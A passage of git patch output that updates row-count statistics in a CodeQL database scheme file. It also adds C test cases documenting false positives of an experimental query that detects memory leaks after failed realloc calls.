<b>3</b> -<v>31064</v> +<v>30935</v> </b> <b> <a>3</a> <b>4</b> -<v>8400</v> +<v>8365</v> </b> <b> <a>4</a> <b>5</b> -<v>11719</v> +<v>11671</v> </b> <b> <a>5</a> <b>14</b> -<v>12047</v> +<v>11996</v> </b> <b> <a>14</a> <b>21451</b> -<v>5842</v> +<v>5818</v> </b> </bs> </hist> @@ -40589,27 +40793,27 @@ <b> <a>1</a> <b>2</b> -<v>96820</v> +<v>96416</v> </b> <b> <a>2</a> <b>3</b> -<v>28745</v> +<v>28626</v> </b> <b> <a>3</a> <b>4</b> -<v>13794</v> +<v>13737</v> </b> <b> <a>4</a> <b>9</b> -<v>11900</v> +<v>11850</v> </b> <b> <a>9</a> <b>122</b> -<v>3309</v> +<v>3295</v> </b> </bs> </hist> @@ -40619,19 +40823,19 @@ </relation> <relation> <name>cil_handler</name> -<cardinality>101672</cardinality> +<cardinality>101248</cardinality> <columnsizes> <e> <k>id</k> -<v>101672</v> +<v>101248</v> </e> <e> <k>impl</k> -<v>71579</v> +<v>71280</v> </e> <e> <k>index</k> -<v>78</v> +<v>77</v> </e> <e> <k>kind</k> @@ -40639,15 +40843,15 @@ </e> <e> <k>try_start</k> -<v>97825</v> +<v>97418</v> </e> <e> <k>try_end</k> -<v>100046</v> +<v>99629</v> </e> <e> <k>handler_start</k> -<v>101672</v> +<v>101248</v> </e> </columnsizes> <dependencies> @@ -40661,7 +40865,7 @@ <b> <a>1</a> <b>2</b> -<v>101672</v> +<v>101248</v> </b> </bs> </hist> @@ -40677,7 +40881,7 @@ <b> <a>1</a> <b>2</b> -<v>101672</v> +<v>101248</v> </b> </bs> </hist> @@ -40693,7 +40897,7 @@ <b> <a>1</a> <b>2</b> -<v>101672</v> +<v>101248</v> </b> </bs> </hist> @@ -40709,7 +40913,7 @@ <b> <a>1</a> <b>2</b> -<v>101672</v> +<v>101248</v> </b> </bs> </hist> @@ -40725,7 +40929,7 @@ <b> <a>1</a> <b>2</b> -<v>101672</v> +<v>101248</v> </b> </bs> </hist> @@ -40741,7 +40945,7 @@ <b> <a>1</a> <b>2</b> -<v>101672</v> +<v>101248</v> </b> </bs> </hist> @@ -40757,22 +40961,22 @@ <b> <a>1</a> <b>2</b> -<v>53894</v> +<v>53669</v> </b> <b> <a>2</a> <b>3</b> -<v>11178</v> +<v>11131</v> </b> <b> <a>3</a> <b>5</b> -<v>5437</v> +<v>5415</v> </b> <b> <a>5</a> <b>17</b> -<v>1069</v> +<v>1064</v> </b> </bs> </hist> @@ -40788,22 +40992,22 @@ <b> <a>1</a> <b>2</b> -<v>53894</v> +<v>53669</v> </b> <b> <a>2</a> <b>3</b> -<v>11178</v> +<v>11131</v> </b> <b> <a>3</a> <b>5</b> -<v>5437</v> +<v>5415</v> </b> <b> <a>5</a> <b>17</b> -<v>1069</v> +<v>1064</v> </b> </bs> </hist> @@ -40819,17 +41023,17 @@ <b> <a>1</a> <b>2</b> -<v>61997</v> +<v>61738</v> </b> <b> <a>2</a> <b>3</b> -<v>9357</v> +<v>9318</v> </b> <b> <a>3</a> <b>4</b> -<v>224</v> +<v>223</v> </b> </bs> </hist> @@ -40845,22 +41049,22 @@ <b> <a>1</a> <b>2</b> -<v>54924</v> +<v>54695</v> </b> <b> <a>2</a> <b>3</b> -<v>10870</v> +<v>10825</v> </b> <b> <a>3</a> <b>7</b> -<v>5540</v> +<v>5517</v> </b> <b> <a>7</a> <b>15</b> -<v>244</v> +<v>243</v> </b> </bs> </hist> @@ -40876,22 +41080,22 @@ <b> <a>1</a> <b>2</b> -<v>54445</v> +<v>54218</v> </b> <b> <a>2</a> <b>3</b> -<v>11090</v> +<v>11044</v> </b> <b> <a>3</a> <b>6</b> -<v>5535</v> +<v>5512</v> </b> <b> <a>6</a> <b>16</b> -<v>507</v> +<v>505</v> </b> </bs> </hist> @@ -40907,22 +41111,22 @@ <b> <a>1</a> <b>2</b> -<v>53894</v> +<v>53669</v> </b> <b> <a>2</a> <b>3</b> -<v>11178</v> +<v>11131</v> </b> <b> <a>3</a> <b>5</b> -<v>5437</v> +<v>5415</v> </b> <b> <a>5</a> <b>17</b> -<v>1069</v> +<v>1064</v> </b> </bs> </hist> @@ -41585,12 +41789,12 @@ <b> <a>1</a> <b>2</b> -<v>94521</v> +<v>94127</v> </b> <b> <a>2</a> <b>8</b> -<v>3304</v> +<v>3290</v> </b> </bs> </hist> @@ -41606,7 +41810,7 @@ <b> <a>1</a> <b>2</b> -<v>97825</v> +<v>97418</v> </b> </bs> </hist> @@ -41622,12 +41826,12 @@ <b> <a>1</a> <b>2</b> -<v>94521</v> +<v>94127</v> </b> <b> <a>2</a> <b>8</b> -<v>3304</v> +<v>3290</v> </b> </bs> </hist> @@ -41643,12 +41847,12 @@ <b> <a>1</a> <b>2</b> -<v>95560</v> +<v>95162</v> </b> <b> <a>2</a> <b>4</b> -<v>2264</v> +<v>2255</v> </b> </bs> </hist> @@ -41664,12 +41868,12 @@ <b> <a>1</a> <b>2</b> -<v>95604</v> +<v>95206</v> </b> <b> <a>2</a> <b>3</b> -<v>2220</v> +<v>2211</v> </b> </bs> </hist> @@ -41685,12 +41889,12 @@ <b> <a>1</a> <b>2</b> -<v>94521</v> +<v>94127</v> </b> <b> <a>2</a> <b>8</b> -<v>3304</v> +<v>3290</v> </b> </bs> </hist> @@ -41706,12 +41910,12 @@ <b> <a>1</a> <b>2</b> -<v>98816</v> +<v>98404</v> </b> <b> <a>2</a> <b>7</b> -<v>1230</v> +<v>1224</v> </b> </bs> </hist> @@ -41727,7 +41931,7 @@ <b> <a>1</a> <b>2</b> -<v>100046</v> +<v>99629</v> </b> </bs> </hist> @@ -41743,12 +41947,12 @@ <b> <a>1</a> <b>2</b> -<v>98816</v> +<v>98404</v> </b> <b> <a>2</a> <b>7</b> -<v>1230</v> +<v>1224</v> </b> </bs> </hist> @@ -41764,12 +41968,12 @@ <b> <a>1</a> <b>2</b> -<v>99871</v> +<v>99454</v> </b> <b> <a>2</a> <b>3</b> -<v>175</v> +<v>174</v> </b> </bs> </hist> @@ -41785,7 +41989,7 @@ <b> <a>1</a> <b>2</b> -<v>100046</v> +<v>99629</v> </b> </bs> </hist> @@ -41801,12 +42005,12 @@ <b> <a>1</a> <b>2</b> -<v>98816</v> +<v>98404</v> </b> <b> <a>2</a> <b>7</b> -<v>1230</v> +<v>1224</v> </b> </bs> </hist> @@ -41822,7 +42026,7 @@ <b> <a>1</a> <b>2</b> -<v>101672</v> +<v>101248</v> </b> </bs> </hist> @@ -41838,7 +42042,7 @@ <b> <a>1</a> <b>2</b> -<v>101672</v> +<v>101248</v> </b> </bs> </hist> @@ -41854,7 +42058,7 @@ <b> <a>1</a> <b>2</b> -<v>101672</v> +<v>101248</v> </b> </bs> </hist> @@ -41870,7 +42074,7 @@ <b> <a>1</a> <b>2</b> -<v>101672</v> +<v>101248</v> </b> </bs> </hist> @@ -41886,7 +42090,7 @@ <b> <a>1</a> <b>2</b> -<v>101672</v> +<v>101248</v> </b> </bs> </hist> @@ -41902,7 +42106,7 @@ <b> <a>1</a> <b>2</b> -<v>101672</v> +<v>101248</v> </b> </bs> </hist> @@ -41912,15 +42116,15 @@ </relation> <relation> <name>cil_handler_filter</name> -<cardinality>810</cardinality> +<cardinality>806</cardinality> <columnsizes> <e> <k>id</k> -<v>810</v> +<v>806</v> </e> <e> <k>filter_start</k> -<v>810</v> +<v>806</v> </e> </columnsizes> <dependencies> @@ -41934,7 +42138,7 @@ <b> <a>1</a> <b>2</b> -<v>810</v> +<v>806</v> </b> </bs> </hist> @@ -41950,7 +42154,7 @@ <b> <a>1</a> <b>2</b> -<v>810</v> +<v>806</v> </b> </bs> </hist> @@ -41960,15 +42164,15 @@ </relation> <relation> <name>cil_handler_type</name> -<cardinality>43902</cardinality> +<cardinality>43719</cardinality> <columnsizes> <e> <k>id</k> -<v>43902</v> +<v>43719</v> </e> <e> <k>catch_type</k> -<v>1264</v> +<v>1258</v> </e> </columnsizes> <dependencies> @@ -41982,7 +42186,7 @@ <b> <a>1</a> <b>2</b> -<v>43902</v> +<v>43719</v> </b> </bs> </hist> @@ -41998,17 +42202,17 @@ <b> <a>1</a> <b>2</b> -<v>439</v> +<v>437</v> </b> <b> <a>2</a> <b>3</b> -<v>268</v> +<v>267</v> </b> <b> <a>3</a> <b>4</b> -<v>151</v> +<v>150</v> </b> <b> <a>4</a> @@ -42043,15 +42247,15 @@ </relation> <relation> <name>cil_method_stack_size</name> -<cardinality>1729473</cardinality> +<cardinality>1722264</cardinality> <columnsizes> <e> <k>method</k> -<v>1729473</v> +<v>1722264</v> </e> <e> <k>size</k> -<v>161</v> +<v>160</v> </e> </columnsizes> <dependencies> @@ -42065,7 +42269,7 @@ <b> <a>1</a> <b>2</b> -<v>1729473</v> +<v>1722264</v> </b> </bs> </hist> @@ -42146,110 +42350,110 @@ </relation> <relation> <name>cil_public</name> -<cardinality>1914064</cardinality> +<cardinality>1906085</cardinality> <columnsizes> <e> <k>id</k> -<v>1914064</v> +<v>1906085</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_private</name> -<cardinality>930299</cardinality> +<cardinality>926421</cardinality> <columnsizes> <e> <k>id</k> -<v>930299</v> +<v>926421</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_protected</name> -<cardinality>1821270</cardinality> +<cardinality>1813678</cardinality> <columnsizes> <e> <k>id</k> -<v>1821270</v> +<v>1813678</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_internal</name> -<cardinality>41754</cardinality> +<cardinality>41580</cardinality> <columnsizes> <e> <k>id</k> -<v>41754</v> +<v>41580</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_static</name> -<cardinality>796220</cardinality> +<cardinality>792901</cardinality> <columnsizes> <e> <k>id</k> -<v>796220</v> +<v>792901</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_sealed</name> -<cardinality>357144</cardinality> +<cardinality>355655</cardinality> <columnsizes> <e> <k>id</k> -<v>357144</v> +<v>355655</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_virtual</name> -<cardinality>678718</cardinality> +<cardinality>675889</cardinality> <columnsizes> <e> <k>id</k> -<v>678718</v> +<v>675889</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_abstract</name> -<cardinality>165456</cardinality> +<cardinality>164766</cardinality> <columnsizes> <e> <k>id</k> -<v>165456</v> +<v>164766</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_class</name> -<cardinality>238953</cardinality> +<cardinality>237957</cardinality> <columnsizes> <e> <k>id</k> -<v>238953</v> +<v>237957</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_interface</name> -<cardinality>16576</cardinality> +<cardinality>16507</cardinality> <columnsizes> <e> <k>id</k> -<v>16576</v> +<v>16507</v> </e> </columnsizes> <dependencies/> @@ -42278,37 +42482,37 @@ </relation> <relation> <name>cil_specialname</name> -<cardinality>812328</cardinality> +<cardinality>808942</cardinality> <columnsizes> <e> <k>id</k> -<v>812328</v> +<v>808942</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_newslot</name> -<cardinality>422968</cardinality> +<cardinality>421205</cardinality> <columnsizes> <e> <k>id</k> -<v>422968</v> +<v>421205</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_base_class</name> -<cardinality>235966</cardinality> +<cardinality>234982</cardinality> <columnsizes> <e> <k>id</k> -<v>235966</v> +<v>234982</v> </e> <e> <k>base</k> -<v>21443</v> +<v>21354</v> </e> </columnsizes> <dependencies> @@ -42322,7 +42526,7 @@ <b> <a>1</a> <b>2</b> -<v>235966</v> +<v>234982</v> </b> </bs> </hist> @@ -42338,32 +42542,32 @@ <b> <a>1</a> <b>2</b> -<v>12335</v> +<v>12283</v> </b> <b> <a>2</a> <b>3</b> -<v>3865</v> +<v>3849</v> </b> <b> <a>3</a> <b>4</b> -<v>1615</v> +<v>1608</v> </b> <b> <a>4</a> <b>7</b> -<v>1893</v> +<v>1886</v> </b> <b> <a>7</a> <b>84</b> -<v>1610</v> +<v>1604</v> </b> <b> <a>86</a> <b>23834</b> -<v>122</v> +<v>121</v> </b> </bs> </hist> @@ -42373,15 +42577,15 @@ </relation> <relation> <name>cil_base_interface</name> -<cardinality>125409</cardinality> +<cardinality>124887</cardinality> <columnsizes> <e> <k>id</k> -<v>68708</v> +<v>68422</v> </e> <e> <k>base</k> -<v>31245</v> +<v>31114</v> </e> </columnsizes> <dependencies> @@ -42395,27 +42599,27 @@ <b> <a>1</a> <b>2</b> -<v>47773</v> +<v>47573</v> </b> <b> <a>2</a> <b>3</b> -<v>8127</v> +<v>8093</v> </b> <b> <a>3</a> <b>5</b> -<v>6272</v> +<v>6246</v> </b> <b> <a>5</a> <b>9</b> -<v>5384</v> +<v>5361</v> </b> <b> <a>9</a> <b>25</b> -<v>1151</v> +<v>1147</v> </b> </bs> </hist> @@ -42431,27 +42635,27 @@ <b> <a>1</a> <b>2</b> -<v>22512</v> +<v>22418</v> </b> <b> <a>2</a> <b>3</b> -<v>3436</v> +<v>3422</v> </b> <b> <a>3</a> <b>5</b> -<v>2523</v> +<v>2513</v> </b> <b> <a>5</a> <b>30</b> -<v>2347</v> +<v>2338</v> </b> <b> <a>30</a> <b>2180</b> -<v>424</v> +<v>422</v> </b> </bs> </hist> @@ -42461,15 +42665,15 @@ </relation> <relation> <name>cil_enum_underlying_type</name> -<cardinality>14092</cardinality> +<cardinality>14033</cardinality> <columnsizes> <e> <k>id</k> -<v>14092</v> +<v>14033</v> </e> <e> <k>underlying</k> -<v>39</v> +<v>38</v> </e> </columnsizes> <dependencies> @@ -42483,7 +42687,7 @@ <b> <a>1</a> <b>2</b> -<v>14092</v> +<v>14033</v> </b> </bs> </hist> @@ -42544,11 +42748,11 @@ </relation> <relation> <name>cil_type_parameter</name> -<cardinality>185156</cardinality> +<cardinality>184385</cardinality> <columnsizes> <e> <k>unbound</k> -<v>104083</v> +<v>103649</v> </e> <e> <k>index</k> @@ -42556,7 +42760,7 @@ </e> <e> <k>param</k> -<v>185156</v> +<v>184385</v> </e> </columnsizes> <dependencies> @@ -42570,22 +42774,22 @@ <b> <a>1</a> <b>2</b> -<v>75108</v> +<v>74795</v> </b> <b> <a>2</a> <b>3</b> -<v>19032</v> +<v>18952</v> </b> <b> <a>3</a> <b>13</b> -<v>8171</v> +<v>8137</v> </b> <b> <a>13</a> <b>22</b> -<v>1771</v> +<v>1764</v> </b> </bs> </hist> @@ -42601,22 +42805,22 @@ <b> <a>1</a> <b>2</b> -<v>75108</v> +<v>74795</v> </b> <b> <a>2</a> <b>3</b> -<v>19032</v> +<v>18952</v> </b> <b> <a>3</a> <b>13</b> -<v>8171</v> +<v>8137</v> </b> <b> <a>13</a> <b>22</b> -<v>1771</v> +<v>1764</v> </b> </bs> </hist> @@ -42864,7 +43068,7 @@ <b> <a>1</a> <b>2</b> -<v>185156</v> +<v>184385</v> </b> </bs> </hist> @@ -42880,7 +43084,7 @@ <b> <a>1</a> <b>2</b> -<v>185156</v> +<v>184385</v> </b> </bs> </hist> @@ -42890,11 +43094,11 @@ </relation> <relation> <name>cil_type_argument</name> -<cardinality>738587</cardinality> +<cardinality>735508</cardinality> <columnsizes> <e> <k>bound</k> -<v>482314</v> +<v>480304</v> </e> <e> <k>index</k> @@ -42902,7 +43106,7 @@ </e> <e> <k>t</k> -<v>252709</v> +<v>251655</v> </e> </columnsizes> <dependencies> @@ -42916,17 +43120,17 @@ <b> <a>1</a> <b>2</b> -<v>336857</v> +<v>335453</v> </b> <b> <a>2</a> <b>3</b> -<v>117595</v> +<v>117104</v> </b> <b> <a>3</a> <b>22</b> -<v>27862</v> +<v>27746</v> </b> </bs> </hist> @@ -42942,17 +43146,17 @@ <b> <a>1</a> <b>2</b> -<v>341772</v> +<v>340348</v> </b> <b> <a>2</a> <b>3</b> -<v>115476</v> +<v>114995</v> </b> <b> <a>3</a> <b>22</b> -<v>25065</v> +<v>24960</v> </b> </bs> </hist> @@ -43180,27 +43384,27 @@ <b> <a>1</a> <b>2</b> -<v>100520</v> +<v>100101</v> </b> <b> <a>2</a> <b>3</b> -<v>72897</v> +<v>72593</v> </b> <b> <a>3</a> <b>4</b> -<v>42574</v> +<v>42397</v> </b> <b> <a>4</a> <b>6</b> -<v>20145</v> +<v>20061</v> </b> <b> <a>6</a> <b>4208</b> -<v>16571</v> +<v>16502</v> </b> </bs> </hist> @@ -43216,17 +43420,17 @@ <b> <a>1</a> <b>2</b> -<v>191190</v> +<v>190393</v> </b> <b> <a>2</a> <b>3</b> -<v>55597</v> +<v>55366</v> </b> <b> <a>3</a> <b>20</b> -<v>5920</v> +<v>5896</v> </b> </bs> </hist> @@ -43327,19 +43531,19 @@ </relation> <relation> <name>cil_attribute</name> -<cardinality>328979</cardinality> +<cardinality>327607</cardinality> <columnsizes> <e> <k>attributeid</k> -<v>328979</v> +<v>327607</v> </e> <e> <k>element</k> -<v>249111</v> +<v>248073</v> </e> <e> <k>constructor</k> -<v>3382</v> +<v>3368</v> </e> </columnsizes> <dependencies> @@ -43353,7 +43557,7 @@ <b> <a>1</a> <b>2</b> -<v>328979</v> +<v>327607</v> </b> </bs> </hist> @@ -43369,7 +43573,7 @@ <b> <a>1</a> <b>2</b> -<v>328979</v> +<v>327607</v> </b> </bs> </hist> @@ -43385,17 +43589,17 @@ <b> <a>1</a> <b>2</b> -<v>197755</v> +<v>196931</v> </b> <b> <a>2</a> <b>3</b> -<v>36770</v> +<v>36617</v> </b> <b> <a>3</a> <b>92</b> -<v>14585</v> +<v>14524</v> </b> </bs> </hist> @@ -43411,17 +43615,17 @@ <b> <a>1</a> <b>2</b> -<v>213644</v> +<v>212753</v> </b> <b> <a>2</a> <b>3</b> -<v>31059</v> +<v>30930</v> </b> <b> <a>3</a> <b>7</b> -<v>4407</v> +<v>4389</v> </b> </bs> </hist> @@ -43437,57 +43641,57 @@ <b> <a>1</a> <b>2</b> -<v>556</v> +<v>554</v> </b> <b> <a>2</a> <b>3</b> -<v>400</v> +<v>398</v> </b> <b> <a>3</a> <b>4</b> -<v>287</v> +<v>286</v> </b> <b> <a>4</a> <b>5</b> -<v>317</v> +<v>315</v> </b> <b> <a>5</a> <b>8</b> -<v>307</v> +<v>306</v> </b> <b> <a>8</a> <b>11</b> -<v>263</v> +<v>262</v> </b> <b> <a>11</a> <b>19</b> -<v>268</v> +<v>267</v> </b> <b> <a>19</a> <b>33</b> -<v>258</v> +<v>257</v> </b> <b> <a>33</a> <b>64</b> -<v>253</v> +<v>252</v> </b> <b> <a>64</a> <b>179</b> -<v>253</v> +<v>252</v> </b> <b> <a>187</a> <b>15289</b> -<v>214</v> +<v>213</v> </b> </bs> </hist> @@ -43503,57 +43707,57 @@ <b> <a>1</a> <b>2</b> -<v>600</v> +<v>597</v> </b> <b> <a>2</a> <b>3</b> -<v>385</v> +<v>384</v> </b> <b> <a>3</a> <b>4</b> -<v>283</v> +<v>281</v> </b> <b> <a>4</a> <b>5</b> -<v>317</v> +<v>315</v> </b> <b> <a>5</a> <b>7</b> -<v>244</v> +<v>243</v> </b> <b> <a>7</a> <b>10</b> -<v>283</v> +<v>281</v> </b> <b> <a>10</a> <b>17</b> -<v>253</v> +<v>252</v> </b> <b> <a>17</a> <b>31</b> -<v>263</v> +<v>262</v> </b> <b> <a>31</a> <b>50</b> -<v>258</v> +<v>257</v> </b> <b> <a>50</a> <b>151</b> -<v>253</v> +<v>252</v> </b> <b> <a>152</a> <b>15028</b> -<v>239</v> +<v>238</v> </b> </bs> </hist> @@ -43563,19 +43767,19 @@ </relation> <relation> <name>cil_attribute_named_argument</name> -<cardinality>5569</cardinality> +<cardinality>5546</cardinality> <columnsizes> <e> <k>attribute_id</k> -<v>4632</v> +<v>4613</v> </e> <e> <k>param</k> -<v>156</v> +<v>155</v> </e> <e> <k>value</k> -<v>1098</v> +<v>1093</v> </e> </columnsizes> <dependencies> @@ -43589,17 +43793,17 @@ <b> <a>1</a> <b>2</b> -<v>3768</v> +<v>3752</v> </b> <b> <a>2</a> <b>3</b> -<v>790</v> +<v>787</v> </b> <b> <a>3</a> <b>4</b> -<v>73</v> +<v>72</v> </b> </bs> </hist> @@ -43615,12 +43819,12 @@ <b> <a>1</a> <b>2</b> -<v>4061</v> +<v>4044</v> </b> <b> <a>2</a> <b>3</b> -<v>556</v> +<v>554</v> </b> <b> <a>3</a> @@ -43717,7 +43921,7 @@ <b> <a>1</a> <b>2</b> -<v>78</v> +<v>77</v> </b> <b> <a>2</a> @@ -43763,12 +43967,12 @@ <b> <a>1</a> <b>2</b> -<v>722</v> +<v>719</v> </b> <b> <a>2</a> <b>3</b> -<v>239</v> +<v>238</v> </b> <b> <a>3</a> @@ -43794,7 +43998,7 @@ <b> <a>1</a> <b>2</b> -<v>1069</v> +<v>1064</v> </b> <b> <a>2</a> @@ -43809,11 +44013,11 @@ </relation> <relation> <name>cil_attribute_positional_argument</name> -<cardinality>96356</cardinality> +<cardinality>95954</cardinality> <columnsizes> <e> <k>attribute_id</k> -<v>90220</v> +<v>89844</v> </e> <e> <k>index</k> @@ -43821,7 +44025,7 @@ </e> <e> <k>value</k> -<v>17147</v> +<v>17076</v> </e> </columnsizes> <dependencies> @@ -43835,12 +44039,12 @@ <b> <a>1</a> <b>2</b> -<v>85529</v> +<v>85173</v> </b> <b> <a>2</a> <b>7</b> -<v>4690</v> +<v>4671</v> </b> </bs> </hist> @@ -43856,12 +44060,12 @@ <b> <a>1</a> <b>2</b> -<v>85539</v> +<v>85183</v> </b> <b> <a>2</a> <b>7</b> -<v>4681</v> +<v>4661</v> </b> </bs> </hist> @@ -43954,22 +44158,22 @@ <b> <a>1</a> <b>2</b> -<v>12364</v> +<v>12312</v> </b> <b> <a>2</a> <b>3</b> -<v>2465</v> +<v>2454</v> </b> <b> <a>3</a> <b>6</b> -<v>1430</v> +<v>1424</v> </b> <b> <a>6</a> <b>5555</b> -<v>888</v> +<v>884</v> </b> </bs> </hist> @@ -43985,12 +44189,12 @@ <b> <a>1</a> <b>2</b> -<v>16820</v> +<v>16750</v> </b> <b> <a>2</a> <b>6</b> -<v>327</v> +<v>325</v> </b> </bs> </hist> @@ -44000,19 +44204,19 @@ </relation> <relation> <name>metadata_handle</name> -<cardinality>6189640</cardinality> +<cardinality>6162511</cardinality> <columnsizes> <e> <k>entity</k> -<v>5697807</v> +<v>5673695</v> </e> <e> <k>location</k> -<v>3421</v> +<v>3407</v> </e> <e> <k>handle</k> -<v>274621</v> +<v>273476</v> </e> </columnsizes> <dependencies> @@ -44026,17 +44230,17 @@ <b> <a>1</a> <b>2</b> -<v>5224190</v> +<v>5203021</v> </b> <b> <a>2</a> <b>3</b> -<v>464581</v> +<v>461677</v> </b> <b> <a>3</a> <b>638</b> -<v>9035</v> +<v>8997</v> </b> </bs> </hist> @@ -44052,12 +44256,12 @@ <b> <a>1</a> <b>2</b> -<v>5456559</v> +<v>5434421</v> </b> <b> <a>2</a> <b>59</b> -<v>241247</v> +<v>239274</v> </b> </bs> </hist> @@ -44073,67 +44277,67 @@ <b> <a>1</a> <b>3</b> -<v>287</v> +<v>286</v> </b> <b> <a>3</a> <b>36</b> -<v>258</v> +<v>257</v> </b> <b> <a>36</a> <b>79</b> -<v>268</v> +<v>267</v> </b> <b> <a>79</a> <b>130</b> -<v>258</v> +<v>257</v> </b> <b> <a>130</a> <b>200</b> -<v>258</v> +<v>257</v> </b> <b> <a>200</a> -<b>289</b> -<v>263</v> +<b>288</b> +<v>257</v> </b> <b> -<a>290</a> -<b>404</b> -<v>258</v> +<a>288</a> +<b>400</b> +<v>257</v> </b> <b> -<a>407</a> -<b>529</b> -<v>258</v> +<a>403</a> +<b>527</b> +<v>257</v> </b> <b> -<a>531</a> -<b>748</b> -<v>258</v> +<a>528</a> +<b>744</b> +<v>257</v> </b> <b> -<a>749</a> +<a>747</a> <b>1109</b> -<v>258</v> +<v>262</v> </b> <b> <a>1116</a> <b>1915</b> -<v>258</v> +<v>257</v> </b> <b> <a>1920</a> <b>4051</b> -<v>258</v> +<v>257</v> </b> <b> <a>4053</a> <b>50922</b> -<v>258</v> +<v>257</v> </b> <b> <a>67370</a> @@ -44154,67 +44358,67 @@ <b> <a>1</a> <b>2</b> -<v>287</v> +<v>286</v> </b> <b> <a>3</a> <b>20</b> -<v>283</v> +<v>281</v> </b> <b> <a>20</a> <b>46</b> -<v>268</v> +<v>267</v> </b> <b> <a>46</a> <b>76</b> -<v>263</v> +<v>262</v> </b> <b> <a>77</a> <b>119</b> -<v>258</v> +<v>257</v> </b> <b> <a>119</a> <b>176</b> -<v>258</v> +<v>257</v> </b> <b> <a>176</a> <b>253</b> -<v>258</v> +<v>257</v> </b> <b> <a>255</a> <b>332</b> -<v>263</v> +<v>262</v> </b> <b> <a>338</a> <b>481</b> -<v>258</v> +<v>257</v> </b> <b> <a>483</a> <b>683</b> -<v>258</v> +<v>257</v> </b> <b> <a>685</a> <b>1273</b> -<v>258</v> +<v>257</v> </b> <b> <a>1295</a> <b>2685</b> -<v>258</v> +<v>257</v> </b> <b> <a>2710</a> <b>55264</b> -<v>244</v> +<v>243</v> </b> </bs> </hist> @@ -44230,62 +44434,62 @@ <b> <a>1</a> <b>2</b> -<v>18968</v> +<v>18889</v> </b> <b> <a>2</a> <b>3</b> -<v>45103</v> +<v>44915</v> </b> <b> <a>3</a> <b>5</b> -<v>23957</v> +<v>23857</v> </b> <b> <a>5</a> <b>6</b> -<v>17543</v> +<v>17470</v> </b> <b> <a>6</a> <b>7</b> -<v>30190</v> +<v>30064</v> </b> <b> <a>7</a> <b>9</b> -<v>19007</v> +<v>18928</v> </b> <b> <a>9</a> <b>11</b> -<v>22126</v> +<v>22034</v> </b> <b> <a>11</a> <b>13</b> -<v>21072</v> +<v>20984</v> </b> <b> <a>13</a> <b>21</b> -<v>21502</v> +<v>21412</v> </b> <b> <a>21</a> <b>39</b> -<v>21165</v> +<v>21077</v> </b> <b> <a>39</a> <b>83</b> -<v>20608</v> +<v>20522</v> </b> <b> <a>83</a> <b>1061</b> -<v>13374</v> +<v>13318</v> </b> </bs> </hist> @@ -44301,52 +44505,52 @@ <b> <a>1</a> <b>2</b> -<v>63017</v> +<v>62754</v> </b> <b> <a>2</a> <b>3</b> -<v>21131</v> +<v>21042</v> </b> <b> <a>3</a> <b>4</b> -<v>47070</v> +<v>46874</v> </b> <b> <a>4</a> <b>5</b> -<v>18968</v> +<v>18889</v> </b> <b> <a>5</a> <b>6</b> -<v>19432</v> +<v>19351</v> </b> <b> <a>6</a> <b>7</b> -<v>22102</v> +<v>22010</v> </b> <b> <a>7</a> <b>11</b> -<v>23332</v> +<v>23235</v> </b> <b> <a>11</a> <b>19</b> -<v>22034</v> +<v>21942</v> </b> <b> <a>19</a> <b>41</b> -<v>20891</v> +<v>20804</v> </b> <b> <a>41</a> <b>702</b> -<v>16640</v> +<v>16570</v> </b> </bs> </hist> From 8fa3ffe12550da73307be141e8d9c7356a1ab578 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 12 Jan 2021 18:33:58 +0000 Subject: [PATCH 0713/1241] C++: Add a few more test cases that we don't recognize as OK. --- .../MemoryLeakOnFailedCallToRealloc.expected | 3 ++ .../Security/CWE/CWE-401/semmle/tests/test.c | 47 +++++++++++++++++++ 2 files changed, 50 insertions(+) diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.expected index c9b574fe315..e07c83019de 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.expected +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.expected @@ -2,3 +2,6 @@ | test.c:63:29:63:35 | call to realloc | possible loss of original pointer on unsuccessful call realloc | | test.c:139:29:139:35 | call to realloc | possible loss of original pointer on unsuccessful call realloc | | test.c:186:29:186:35 | call to realloc | possible loss of original pointer on unsuccessful call realloc | +| test.c:282:29:282:35 | call to realloc | possible loss of original pointer on unsuccessful call realloc | +| test.c:299:26:299:32 | call to realloc | possible loss of original pointer on unsuccessful call realloc | +| test.c:316:33:316:39 | call to realloc | possible loss of original pointer on unsuccessful call realloc | diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c index fcf60467ba9..a2c42f364d5 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c @@ -272,3 +272,50 @@ unsigned char * noBadResize_2_7(unsigned char * buffer,size_t currentSize,size_t myASSERT_2(buffer); return buffer; } + +unsigned char *goodResize_3_1(unsigned char *buffer, size_t currentSize, size_t newSize) +{ + // GOOD: this way we will exclude possible memory leak [FALSE POSITIVE] + unsigned char *tmp = buffer; + if (currentSize < newSize) + { + buffer = (unsigned char *)realloc(buffer, newSize); + if (buffer == NULL) + { + free(tmp); + return NULL; + } + } + + return buffer; +} + +unsigned char *goodResize_3_2(unsigned char *buffer, size_t currentSize, size_t newSize) +{ + // GOOD: this way we will exclude possible memory leak [FALSE POSITIVE] + unsigned char *tmp = buffer; + if (currentSize < newSize) + { + tmp = (unsigned char *)realloc(tmp, newSize); + if (tmp != 0) + { + buffer = tmp; + } + } + + 